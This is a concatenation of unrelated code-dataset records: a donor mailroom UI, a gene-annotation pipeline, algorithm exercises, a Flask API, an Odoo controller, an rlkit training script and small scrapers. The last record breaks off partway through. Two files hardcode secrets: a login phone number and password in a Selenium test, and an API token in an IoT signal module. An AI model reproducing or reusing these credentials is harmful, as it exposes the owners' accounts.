\"\"\"\n # create a dict of menu items/ menu text/ menu caller functions\n choices = {\n '1': {'option': 'Send a thank you', 'function': self.send_thank_you},\n '2': {'option': 'Create a report', 'function': self.collection.create_report},\n '3': {'option': 'Send all letters', 'function': self.send_all_letters},\n '4': {'option': 'Make projections', 'function': self.make_projections},\n '9': {'option': 'Quit', 'function': self.exit_screen}\n }\n \n while True: # Print the menu list (with numbered choices)\n print(\"\\nMENU:\")\n for k, v in choices.items():\n print(k, v['option'])\n response = self.feedback(\"Type a menu selection number: \")\n self.call_menu_function(choices, response, \n self.respond_to_bad_main_menu_choice, bad_choice=response)\n if response == '9': # Exit if \"Quit\" is chosen\n return\n\n def call_menu_function(\n self, choice_dict, choice, unfound_key_handler, **kwargs):\n \"\"\"\n Call a menu function with a dict.\n\n :choice_dict: Dict containing the `choice` string, with the dict\n value being a another dict that contains a 'function'\n key whose value is the function to call for `choice`.\n\n :choice: A string that may or may not be a key in the choice_dict\n dictionary.\n\n :unfound_key_handler: The function to call if the specified choice\n is not a key in the dictionary.\n\n :kwargs: Additional keyword arguments to pass to the unfound key\n handler.\n\n :return: `True` if a menu function was successfully called;\n `False` otherwise (which also can be the desired result).\n \"\"\"\n try: # Get the selection number and call helper function\n choice_dict[choice]['function']()\n except KeyError:\n unfound_key_handler(**kwargs)\n return False\n else:\n return True\n\n def respond_to_bad_main_menu_choice(self, bad_choice):\n \"\"\"\n Show error message if the user's main menu choice is invalid.\n \n :bad_choice: The menu choice string as entered by the user.\n\n :return: None.\n \"\"\"\n print(f\"\\n'{bad_choice}' is an invalid response.\")\n\n def exit_screen(self):\n \"\"\"\n Simply print an exit message.\n\n :return: None.\n \"\"\"\n print(\"\\nExiting.\\n\")\n return\n\n def send_thank_you(self):\n \"\"\"\n Add new donations for new or existing donors, and send a thank-you\n letter.\n\n :return: None.\n \"\"\"\n alt_choices = { # Dict of functions to show donor list or to quit\n '': {'function': self.exit_screen},\n 'quit': {'function': self.exit_screen},\n 'list': {'function': self.collection.print_donors}\n }\n print(\"\\n\")\n # Get the donor name, show all donors, or quit\n response = self.feedback(\"Type full donor name \"\n \"(or 'list' to show all donors, or 'quit'): \")\n\n self.call_menu_function(alt_choices, response, \n self.get_donation_amount, donor=response)\n if response == 'list':\n self.send_thank_you() # Still want to get a donor to thank\n\n def get_donation_amount(self, donor):\n \"\"\"\n Ask user for a donation amount from the specified donor.\n\n :donor: The name of the donor.\n\n :return: None.\n \"\"\"\n donation = self.feedback(\n f\"Type amount to donate (or type 'quit'): \").lower()\n\n if donor in self.collection.donors:\n gifts = len(self.collection.donors[donor].donations)\n else:\n gifts = 0\n\n try:\n donation = float(donation)\n except ValueError:\n print(f\"'{donation}' is not a valid donation amount.\")\n else:\n self.collection.add(donor, donation)\n if donor in self.collection.donors:\n donor_obj = self.collection.donors[donor]\n if len(donor_obj.donations) == gifts + 1:\n print(\"\\n\\n\", donor_obj.form_letter, \"\\n\\n\")\n else:\n print(f\"\\n\\nDonation by '{donor}' of '{donation}' \"\n \"was unsuccessful.\\n\\n\")\n\n def send_all_letters(self):\n \"\"\"\n Create all of the donor thank-you letters.\n\n :return: None.\n \"\"\"\n # Ask for the directory to save the letters to\n print('\\nThe current directory is %s\\n' % os.getcwd())\n new_dir = self.feedback('Type the directory to save the letters in'\n ' (blank entry defaults to the current directory): ')\n try:\n full_dir_name = self.collection.save_letters(new_dir)\n except FileNotFoundError:\n print(f\"Can't open or create folder '{new_dir}' - exiting \"\n \"without creating the thank-you letters.\")\n except PermissionError:\n print(f\"Not allowed to write to '{new_dir}'.\")\n except OSError:\n print(f\"Specified folder '{new_dir}' is not valid.\")\n else:\n print(f\"\\nLetters saved in folder '{full_dir_name}'.\\n\")\n\n def get_resp(self, prompt, **kwargs):\n return input(prompt).strip()\n\n def make_projections(self):\n proj_params = self.feedback(\n \"\\nProject your estimated donations by entering (1) your \"\n \"\\nmatching factor (e.g., 1 means you double existing \"\n \"\\ndonations, 2 means you triple existing donations, etc.), \"\n \"\\n(2) the minimum existing donation amount, and (3) the \"\n \"\\nmaximum existing donation amount, separated by whitespace:\"\n \"\\n\\n\"\n )\n proj_vals = proj_params.split(None, 3)\n try:\n match_factor = float(proj_vals[0])\n min_gift = float(proj_vals[1])\n max_gift = float(proj_vals[2])\n except ValueError:\n print(\"\\n\\nOne of your entries is not a valid number.\\n\\n\")\n self.exit_screen()\n except IndexError:\n print(\"\\n\\nYou did not enter three numbers.\\n\\n\")\n self.exit_screen()\n else:\n cur_total = self.collection.projection_sum(\n self.collection.projector(1.0, 0.0, 1e12))\n gifts_used_to_multiply = self.collection.projection_sum(\n self.collection.projector(1.0, min_gift, max_gift))\n try:\n proj_gift = self.collection.projection_sum(\n self.collection.projector(match_factor, min_gift, max_gift))\n except ValueError as ve:\n print(ve)\n else:\n print(\"\\n\\n\",\n f\"Current donation total: ${cur_total:>18,.2f}\",\n f\"Matched donations: ${gifts_used_to_multiply:>18,.2f}\",\n f\"Your projected donation: ${proj_gift:>18,.2f}\",\n sep = \"\\n\")\n\n\nif __name__ == '__main__':\n # Initial donor list and the amounts they have donated\n donor_history = {\n 'Red Herring': [65820.5, 31126.37, 15000, 2500],\n 'Papa Smurf': [210.64, 1000, 57.86, 2804.83, 351.22, 48],\n 'Pat Panda': [55324.4, 35570.53, 14920.50],\n 'Karl-Heinz Berthold': [3545.2, 10579.31],\n 'Mama Murphy': [156316.99, 8500.3, 12054.33, 600, 785.20],\n 'Daphne Dastardly': [82]\n }\n\n coll = mailroom.DonorCollection()\n for name, amts in donor_history.items():\n coll.add(name, amts)\n\n print(\"\\n\\nViewing original database.\\n\\n\")\n dui = DonorUI(coll)\n dui.manage_donors()\n\n print(\"\\n\\nMultiplying all donations by 3!\\n\\n\")\n coll2 = coll.challenge(3)\n\n print(\"\\n\\nHere's collection 1:\\n\", coll)\n print(\"\\nCollection 1 donors/donations:\\n\", coll.donors)\n print(\"\\n\\nHere's collection 2:\\n\", coll2)\n print(\"\\nCollection 2 donors/donations:\\n\", coll2.donors)\n\n print(\"\\n\\nNow look at the new collection.\\n\\n\")\n dui2 = DonorUI(coll2)\n dui2.manage_donors()\n\n print(\"\\n\\nNow filter out donations below 100 before multiplying.\\n\\n\")\n coll3 = coll.challenge(3, 100)\n dui3 = DonorUI(coll3)\n dui3.manage_donors()\n\n print(\"\\n\\nNow filter out donations above 1000 before multiplying.\\n\\n\")\n coll4 = coll.challenge(3, 0, 1000)\n dui4 = DonorUI(coll4)\n dui4.manage_donors()\n\n print(\"\\n\\nNow filter out donations below 100 and above 1000 before multiplying.\\n\\n\")\n coll5 = coll.challenge(3, 100, 1000)\n dui5 = DonorUI(coll5)\n dui5.manage_donors()\n\n print(\"\\n\\nCheck whether the original donor collection is intact.\\n\\n\")\n dui.manage_donors()\n\n del coll, coll2, coll3, coll4, coll5, dui, dui2, dui3, dui4, dui5, mailroom","sub_path":"students/DennisLee/lesson10/mailroom_ui.py","file_name":"mailroom_ui.py","file_ext":"py","file_size_in_byte":9408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"518042245","text":"#!/usr/bin/env python2\n'''\nImporting all the modules necessary for running the pipeline\npprint is only needed for debugging purposes\n'''\n\nimport logging, sys, re\nfrom pprint import pprint\nfrom code.utils.logging_utils import setlogging\n\ndef run_preprocess(config):\n\t\"\"\"A really useful function.\n\n\tReturns None\n\t\"\"\"\n\tsetlogging(config,\"preprocess\")\n\n\tprint(config[\"input\"][\"email\"])\n\tif config[\"input\"][\"email\"] is \"\" or config[\"input\"][\"email\"] is None:\n\t\tlogging.error(\"Please add an email address to the config file\")\n\t\tsys.exit(\"You have to add an email address to the config file\")\n\telse:\n\t\tvalid_email = re.match('^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,4})$', config[\"input\"][\"email\"])\n\t\tif not valid_email:\n\t\t\tlogging.error(\"The email address specified is not valid. Please check the email or use a different email address\")\n\t\t\tsys.exit(\"The email in the config file is not valid\")\n\t\n\n\tlogging.info(\"Processing Sequence-Similarity Steps\")\n\tfrom code.pipeline.run_rbh_blast import make_input_blastdb,run_tair_blast,run_uniprot_blast,get_rbh_annotations\n\tmake_input_blastdb(config)\n\trun_tair_blast(config)\n\trun_uniprot_blast(config)\n\tget_rbh_annotations(config)\n\n\t'''\n\tStep 5 is to run interproscan5 against the clean input protein sequences\n\t'''\n\tlogging.info(\"Running domain annotations using IPRS\")\n\tfrom code.pipeline.run_iprs import run_iprs,iprs2gaf\n\trun_iprs(config)\n\tiprs2gaf(config)\n\n\t'''\n\tStep 6 is to run components of preprocessing pipeline to create input data for the mixed method pipelines\n\t'''\n\tfrom code.pipeline.run_mm_preproc import process_fasta,make_tmp_fa, run_uniprot_blast, compile_blast_out\n\tprocess_fasta(config)\n\tmake_tmp_fa(config)\n\trun_uniprot_blast(config)\n\tlogging.info(\"All the blast commands have been run and temporary files have been generated\")\n\tcompile_blast_out(config)\n\n\t'''\n\tStep 7 is to run the preprocessing steps for Argot2.5\n\tsadsdsadsa\n\t'''\n\tfrom code.pipeline.run_argot2 import convert_blast,run_hmmer,submit_argot2\n\tconvert_blast(config)\n\trun_hmmer(config)\n\tsubmit_argot2(config)\n\n\t'''\n\tStep 8 is to run the mixed-method pipeline PANNZER\n\t'''\n\tfrom code.pipeline.run_pannzer import copy_blast, run_pannzer\n\tcopy_blast(config)\n\trun_pannzer(config)\n\n\t\n","sub_path":"code/gomap_preprocess.py","file_name":"gomap_preprocess.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"229741378","text":"#! /usr/bin/env python3\n\nclass Node:\n\n def __init__(self, value, max_value):\n self.value = value\n self.max_value = max_value\n self.prev = None\n pass\n\n\nclass LinkedList:\n\n def __init__(self):\n self.tail = None\n\n def add(self, value):\n if self.tail == None:\n self.tail = Node(value, value)\n else:\n prev = self.tail\n if prev.max_value < value:\n new_max = value\n else:\n new_max = prev.max_value\n self.tail = Node(value, new_max)\n self.tail.prev = prev\n\ndef get_max_profit(arr):\n prices = LinkedList()\n max_profit = 0\n\n for v in reversed(arr):\n prices.add(v)\n\n current_node = prices.tail\n\n while current_node != None:\n diff = current_node.max_value - current_node.value\n\n if diff > max_profit:\n max_profit = diff\n\n current_node = current_node.prev\n\n return max_profit\n\nif __name__ == '__main__':\n print(get_max_profit([9, 11, 8, 5, 7, 10]))\n","sub_path":"challenge47/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"542888091","text":"\"\"\"\n@author:fei\n@date:2018-5-28\n@brief:风险不匹配警示函页面\n\"\"\"\n\nfrom common.pc_login import PCLogin, browser, pc_url\nfrom common.get_url import GetUrl\nimport time\n\n\nagreement_url = GetUrl().get_pc_url() + r'#/product/agreement'\n\n\nclass Agreement(PCLogin):\n\n check_loc = ('css', '#app > div > div.main-container > section > div > div:nth-child(2) >'\n ' p:nth-child(4) > label > span > span') #勾选按钮\n\n button_loc = ('class name', 'is-plain') #确认或取消按钮\n\n def check_click(self):\n \"\"\"勾选\"\"\"\n self.click(self.check_loc)\n\n def affirm_click(self):\n \"\"\"取消按钮\"\"\"\n affirm_element = self.find_elements(self.button_loc)[0]\n affirm_element.click()\n\n def confirm_click(self):\n \"\"\"确认按钮\"\"\"\n confirm_element = self.find_elements(self.button_loc)[1]\n confirm_element.click()\n\n\nif __name__ == '__main__':\n driver = browser()\n a = Agreement(driver)\n a.open_url(pc_url)\n a.pc_login('15822816936', 'abc123456', '1')\n a.open_url(agreement_url)\n time.sleep(1)\n a.check_click()\n # a.affirm_click()\n a.confirm_click()","sub_path":"the_old_system_page/PC/product/product_agreement.py","file_name":"product_agreement.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"388044484","text":"# https://leetcode.com/problems/search-in-rotated-sorted-array\n\nclass Solution:\n def search(self, nums: list, target: int) -> int:\n i_head = 0\n i_tail = len(nums)\n first = nums[i_head]\n while i_tail - i_head > 1:\n mid = (i_tail - i_head) // 2 + i_head\n val = nums[mid]\n if val == target: \n return mid\n elif val < target:\n if target < first:\n return self.bin_search(nums[mid + 1:i_tail], target, anchor=mid + 1)\n elif val > first:\n i_head = mid\n else:\n i_tail = mid \n else: # val > target\n if target >= first:\n return self.bin_search(nums[i_head:mid], target, anchor=i_head)\n elif val < first:\n i_tail = mid\n else:\n i_head = mid\n i_last = (i_tail - i_head) // 2 + i_head\n return i_last if nums[i_last] == target else -1\n \n def bin_search(self, sublist: list, target: int, anchor: int = 0) -> int:\n n = len(sublist)\n if n == 0:\n return -1\n mid = n // 2\n val = sublist[mid]\n if target == val:\n return mid + anchor\n elif val < target:\n return self.bin_search(sublist[mid + 1:], target, anchor=mid+1+anchor)\n else:\n return self.bin_search(sublist[:mid], target, anchor=anchor)\n","sub_path":"leetcode/search_in_rotated_sorted_array.py","file_name":"search_in_rotated_sorted_array.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"355839933","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 14 19:13:04 2021\n\n@author: si_ve\n\"\"\"\n\nimport requests\nimport json\n\n\n#### CoT signal key ####\nclass COT_Signal:\n def __init__(self, key, token):\n self.key = key\n self.token = token\n self.payload = {\"Key\":self.key, \"Token\":self.token}\n\n def get(self):\n response = requests.get(\"https://circusofthings.com/ReadValue\",\n params = self.payload)\n response = json.loads(response.content)\n return response\n\n def put(self, value):\n self.value = value\n self.payload[\"Value\"] = value\n response = requests.put(\"https://circusofthings.com/WriteValue\",\n params = self.payload,\n data = json.dumps(self.payload),\n headers = {\"Content-Type\":\"application/json\"})\n\n\n\n\n#### Signal keys and token ####\n\ntoken = \"eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiI1Nzk0In0.nqXSqXGe2AXcNm4tdMUl7qIzmpAEXwr7UPKf5AtYx4k\"\n\nsoil_key = COT_Signal(\"4991\", token)\npump_0_key = COT_Signal('32607', token)\nlight_key = COT_Signal('17733', token)\ntemp_key = COT_Signal('2615', token)\nhumid_key = COT_Signal('10571', token)\n","sub_path":"Python/CoT.py","file_name":"CoT.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"11293710","text":"from guitar import Guitar\n\n\nclass Inventory:\n def __init__(self):\n self.guitars = []\n\n def addGuitar(self, serialNumber, price, builder, model, type, backWood, topWood):\n guitar = Guitar(serialNumber, price, builder, model, type, backWood, topWood)\n self.guitars.append(guitar)\n\n def getGuitar(self, serialNumber):\n \"\"\"\n Zwraca obiekt gitary jeśli znajdzie gitarę o identycznym numerze seryjnym\n\n :param serialNumber:\n :return: Guitar | None\n \"\"\"\n for guitar in self.guitars:\n if guitar.serialNumber == serialNumber:\n return guitar\n return None\n\n def search(self, searchGuitar) -> list:\n \"\"\"\n Metoda porównuje wszystkie właściwości obiektu Guitar przekazanego w wywołaniu\n zwraca znalezioną gitarę lub None\n :param guitar:\n :return: List\n \"\"\"\n matchingGuitars = []\n for guitar in self.guitars:\n # numer seryjny i cena są ignorowane\n if searchGuitar.getBuilder() != guitar.getBuilder():\n continue # następna pętla\n model = searchGuitar.getModel().lower()\n if not (model is None) and (model != \"\") and (model != guitar.getModel().lower()):\n continue\n type = searchGuitar.getType()\n if type != guitar.getType():\n continue\n backWood = searchGuitar.getBackWood()\n if backWood != guitar.getBackWood():\n continue\n topWood = searchGuitar.getTopWood()\n if topWood != guitar.getTopWood():\n continue\n matchingGuitars.append(guitar)\n return matchingGuitars\n","sub_path":"inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"306695869","text":"# Created by Dmitriy Shin on July 4, 2020\n\ndef dynamicArray(n: int, queries: list):\n seq_list = [[] for i in range(n)]\n last_answer = 0\n result = []\n for q in queries:\n if q[0] == 1:\n seq = ((q[1] ^ last_answer) % n)\n seq_list[seq].append(q[2])\n elif q[0] == 2:\n seq = ((q[1] ^ last_answer) % n)\n last_answer = seq_list[seq][q[2] % len(seq_list[seq])]\n result.append(last_answer)\n return result\n\n\nif __name__ == '__main__':\n dynamicArray(2, [[1, 0, 5], [1, 1, 7], [1, 0, 3],\n [2, 1, 0], [2, 1, 1]]) # 7, 3\n","sub_path":"Arrays/dynamicArray.py","file_name":"dynamicArray.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"124039219","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom flask import render_template, jsonify, request\nfrom mamsay.apps.api import api\nfrom mamsay.apps.account import Account\nfrom mamsay.extensions import db\n\n\n@api.route('/check/username/')\ndef check_username():\n username = request.args.get('username')\n if username:\n user = Account.query.filter(\n Account.username.like(username.strip())).first()\n if user:\n return jsonify(data={\"error\": u\"用户名已经存在，再想一个吧\"})\n return jsonify(data={\"ok\": \"\"})\n\n\n@api.route('/check/email/')\ndef check_email():\n email = request.args.get('email')\n if email:\n user = Account.query.filter(\n Account.email.like(email.strip())).first()\n if user:\n return jsonify(data={\"error\": u\"邮箱已经存在，请重新输入\"})\n return jsonify(data={\"ok\": u\"\"})\n\n\n@api.route('/isexsit/email/')\ndef isexsit_email():\n email = request.args.get('email')\n if email:\n user = Account.query.filter_by(email=email, status=1).first()\n if user:\n return jsonify(data={\"ok\": u\"\"})\n return jsonify(data={\"error\": u\"对不起，您输入的邮箱暂未注册\"})\n\n\n@api.route('/checkeditemail///')\ndef checkeditemail(email, id):\n user = Account.query.filter(db.and_(\n Account.email.like(email.strip()),\n db.not_(Account.id == id))).first()\n if user:\n return jsonify(data={\"error\": u\"对不起，邮箱已经存在，请重新输入\"})\n return jsonify(data={\"ok\": u\"\"})\n","sub_path":"sunqooc_online/src/mamsay/apps/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"303267547","text":"# Copyright 2018 Camptocamp SA\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html)\n\n\nfrom odoo.models import _\nfrom odoo.addons.web.controllers import main as report\nfrom odoo.http import content_disposition, request, route\n\n\nclass ReportController(report.ReportController):\n @route()\n def report_routes(self, reportname, docids=None, converter=None, **data):\n if converter == \"reportlab-pdf\":\n if reportname =='l10n_ch_payment_fix_pos.one_slip_per_page_with_invoice_details':\n report_slip = request.env.ref(\n 'l10n_ch_payment_fix_pos.one_slip_per_page_with_invoice_details')\n else:\n report_slip = request.env.ref(\n 'l10n_ch_payment_slip.one_slip_per_page_from_invoice')\n filename = ''\n invoice_id = []\n if docids:\n invoice_id = [int(i) for i in docids.split(',')]\n filename = ''.join([\n _('ISR'),\n '_multiple_invoices' if len(invoice_id) > 1\n else '{0:05d}'.format(invoice_id[0]),\n '.pdf'\n ])\n data, format_report = report_slip.render(invoice_id)\n pdfhttpheaders = [\n ('Content-Type', 'application/pdf'),\n ('Content-Disposition', content_disposition(filename)),\n ('Content-Length', len(data)),\n ]\n return request.make_response(data, headers=pdfhttpheaders)\n return super(ReportController, self).report_routes(\n reportname, docids, converter, **data)\n","sub_path":"l10n_ch_payment_fix_pos/controllers/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"295411571","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom twisted.internet import threads\nimport twisted.python.runtime\nimport requests\n\n\ndef backgroundDownloader(self, url, location, timeout=5, callback=None, errback=None):\n try:\n d = threads.deferToThread(backgroundDownloaderUrl, url, location, timeout)\n if callback:\n d.addCallback(getattr(self, callback))\n if errback:\n d.addErrback(getattr(self, errback))\n else:\n d.addErrback(backgroundDownloaderError)\n except Exception as e:\n print(e)\n\n\ndef backgroundDownloaderUrl(url, location, timeout):\n print(\"backgroundDownloaderUrl %s\" % url)\n try:\n with requests.get(url, stream=True, timeout=timeout) as r:\n r.raise_for_status()\n with open(location, 'wb') as f:\n for chunk in r.iter_content(chunk_size=8192):\n f.write(chunk)\n except Exception as e:\n print(e)\n\n\ndef backgroundDownloaderError(data=None):\n print(\"Download failed: %s\" % data)\n","sub_path":"XStreamity/usr/lib/enigma2/python/Plugins/Extensions/XStreamity/bgdownloader.py","file_name":"bgdownloader.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"532795590","text":"from gym.envs.classic_control import PendulumEnv as env\n\nimport rlkit.torch.pytorch_util as ptu\nfrom rlkit.data_management.env_replay_buffer import EnvReplayBuffer\nfrom rlkit.envs.wrappers import NormalizedBoxEnv\nfrom rlkit.launchers.launcher_util import setup_logger\nfrom rlkit.samplers.data_collector import MdpPathCollector\nfrom rlkit.torch.PMOEsac.PMOEsac import PMOESACTrainer\nfrom rlkit.torch.PMOEsac.policies import MakeDeterministic\nfrom rlkit.torch.PMOEsac.policies import TanhPMOEGaussianPolicy\nfrom rlkit.torch.networks import FlattenPMOEMlp\nfrom rlkit.torch.torch_rl_algorithm import TorchBatchRLAlgorithm\n\n\ndef experiment(variant):\n expl_env = NormalizedBoxEnv(env())\n eval_env = NormalizedBoxEnv(env())\n obs_dim = expl_env.observation_space.low.size\n action_dim = eval_env.action_space.low.size\n\n M = variant['layer_size']\n qf1 = FlattenPMOEMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M, M],\n )\n qf2 = FlattenPMOEMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M, M],\n )\n target_qf1 = FlattenPMOEMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M, M],\n )\n target_qf2 = FlattenPMOEMlp(\n input_size=obs_dim + action_dim,\n output_size=1,\n hidden_sizes=[M, M],\n )\n policy = TanhPMOEGaussianPolicy(\n obs_dim=obs_dim,\n action_dim=action_dim,\n hidden_sizes=[M, M],\n k=variant['trainer_kwargs']['k']\n )\n eval_policy = MakeDeterministic(policy)\n eval_path_collector = MdpPathCollector(\n eval_env,\n eval_policy,\n )\n expl_path_collector = MdpPathCollector(\n expl_env,\n policy,\n )\n replay_buffer = EnvReplayBuffer(\n variant['replay_buffer_size'],\n expl_env,\n )\n trainer = PMOESACTrainer(\n env=eval_env,\n policy=policy,\n qf1=qf1,\n qf2=qf2,\n target_qf1=target_qf1,\n target_qf2=target_qf2,\n **variant['trainer_kwargs']\n )\n algorithm = TorchBatchRLAlgorithm(\n trainer=trainer,\n exploration_env=expl_env,\n evaluation_env=eval_env,\n exploration_data_collector=expl_path_collector,\n evaluation_data_collector=eval_path_collector,\n replay_buffer=replay_buffer,\n **variant['algorithm_kwargs']\n )\n algorithm.to(ptu.device)\n algorithm.train()\n\n\n\n\nif __name__ == \"__main__\":\n # noinspection PyTypeChecker\n variant = dict(\n algorithm=\"PMOEsac\",\n version=\"normal\",\n layer_size=256,\n replay_buffer_size=int(1E6),\n algorithm_kwargs=dict(\n num_epochs=3000,\n num_eval_steps_per_epoch=5000,\n num_trains_per_train_loop=1000,\n num_expl_steps_per_train_loop=1000,\n min_num_steps_before_training=1000,\n max_path_length=1000,\n batch_size=256,\n ),\n trainer_kwargs=dict(\n discount=0.99,\n soft_target_tau=5e-3,\n target_update_period=1,\n policy_lr=3E-4,\n qf_lr=3E-4,\n reward_scale=1,\n use_automatic_entropy_tuning=True,\n k=4\n ),\n )\n setup_logger(env.__name__, variant=variant)\n ptu.set_gpu_mode(True) # optionally set the GPU (default=False)\n experiment(variant)\n","sub_path":"examples/PMOEsac.py","file_name":"PMOEsac.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"344606841","text":"import sys\nsys.stdin = open(\"sample_input.txt\")\n\n\ndef binary_search(page, target):\n left = 1\n right = page\n count = 0\n while left <= right:\n mid = int((left + right) / 2)\n if mid == target:\n return count\n elif mid < target:\n left = mid\n count += 1\n elif mid > target:\n right = mid\n count += 1\n\n\nT = int(input())\nfor tc in range(1, T + 1):\n page, A, B = map(int, input().split())\n\n countA = binary_search(page, A)\n countB = binary_search(page, B)\n if countA > countB:\n result = 'B'\n elif countA < countB:\n result = 'A'\n else:\n result = 0\n print(\"#{} {}\".format(tc, result))\n","sub_path":"algorithm/4839_이진탐색/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"3453375","text":"\nimport frappe, json\n\n\nno_cache = 1\nno_sitemap = 1\n\ndef get_context(context):\n\tcontext.title = 'Transaction Status'\n\ttry:\n\t\tno_cache = 1\n\t\n\t\tif frappe.db.exists('Integration Request', frappe.form_dict.token):\n\t\t\tintegration_request = frappe.db.get_value('Integration Request',\n\t\t\t\t\t\t\tfrappe.form_dict.token, ['status', 'data'], as_dict=1)\n\t\t\ttxn_data = json.loads(integration_request.data)\n\t\t\tcontext.txn_reference = txn_data['txref']\n\t\t\tcontext.txn_status = integration_request.status\n\t\telse:\n\t\t\tcontext.txn_status = 'Invalid Token'\n\t\t\tcontext.txn_reference = '--'\n\texcept Exception:\n\t\tcontext.txn_status = 'Error'\n\t\tcontext.txn_reference = '--'\n\t\tfrappe.log_error(frappe.get_traceback(), 'rave-txn-status')","sub_path":"ravepay/templates/pages/rave_txn_status.py","file_name":"rave_txn_status.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"635010847","text":"import requests\nfrom tqdm import tqdm\n\nfrom elasticsearch import Elasticsearch\nes = Elasticsearch()\n\n\ndef main():\n request_page = requests.get(\"https://www.digikala.com/api/SearchApi/?q=iphone%206\")\n temp = request_page.json()\n result = temp['hits']['hits']\n for item in tqdm(result):\n # db.products.insert_one(item['_source'])\n # es.index(index='digikala', doc_type='products', body = item['_source'])\n print(item)\n\n\ndef test_elastic():\n query = input(\"enter your query:\\n\")\n result = es.search(index='digikala', body={\"query\": {\"query_string\" : {\"query\" : query.strip()}}})\n print(result)\n\nif __name__ == '__main__':\n main()\n # test_elastic()\n","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"190328284","text":"'''\r\nFaça um programa que peça o tamanho de um arquivo para download (em MB) e a velocidade de um link de Internet (em Mbps),\r\ncalcule e informe o tempo aproximado de download do arquivo usando este link (em minutos).\r\n'''\r\n\r\ntamanho = int(input(\"Informe o tamanho do arquivo(em MB): \"))\r\nvelocidade = float(input(\"Informe a velocidade de download(em MBPS): \"))\r\n\r\nbit = tamanho * 1024 * 2 * 8\r\ntempo_minutos = (bit / (velocidade * 1024 * 2)) / 60\r\n\r\nprint(f'Tempo aproximado para o download será(minutos) {tempo_minutos}')","sub_path":"Exercicio_18.py","file_name":"Exercicio_18.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"268620036","text":"from datetime import datetime\nimport requests\n\ndef get_today_accept_count(user):\n url = 'https://codeforces.com/api/user.status?handle='+user\n response = requests.get(url)\n parsed_response = response.json()\n if parsed_response['status'] == 'FAILED':\n print('[FAILED]: ', contestant, ': Not Found')\n return -1\n today = datetime.toordinal(datetime.now())\n sub_count = 0\n for submission in parsed_response['result']:\n sub_day = datetime.fromtimestamp(submission['creationTimeSeconds'])\n sub_day = datetime.toordinal(sub_day)\n if sub_day == today and submission['verdict'] == 'OK':\n sub_count += 1\n return sub_count\n\nif __name__ == '__main__':\n contestants = ('arcturus5340',\n 'FreeKILL',\n 'Nidavellir',\n 'Virohn',\n 'W1adimir')\n\n for contestant in contestants:\n print(get_today_accept_count(contestant))\n","sub_path":"media/record_src/cftracker.py","file_name":"cftracker.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"635234408","text":"# -*-coding:utf-8 -*-\n#Reference:**********************************************\n# @Time    : 2019-10-07 00:36\n# @Author  : Fabrice LI\n# @File    : 480_binary_tree_paths.py\n# @User    : liyihao\n# @Software : PyCharm\n# @Description: Given a binary tree, return all root-to-leaf paths.\n#Reference:**********************************************\n'''\nE.g\nInput：{1,2,3,#,5}\nOutput：[\"1->2->5\",\"1->3\"]\nExplanation：\n 1\n / \\\n2 3\n \\\n 5\n\nInput：{1,2}\nOutput：[\"1->2\"]\nExplanation：\n 1\n /\n2\n\n'''\n\n\"\"\"\nDefinition of TreeNode:\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left, self.right = None, None\n\"\"\"\n\nclass Solution:\n \"\"\"\n @param root: the root of the binary tree\n @return: all root-to-leaf paths\n \"\"\"\n def binaryTreePaths(self, root):\n if not root:\n return []\n res = []\n if not root.left and not root.right:\n res.append(str(root.val))\n\n left = self.binaryTreePaths(root.left)\n for l in left:\n res.append(str(root.val) + '->' + l)\n\n right = 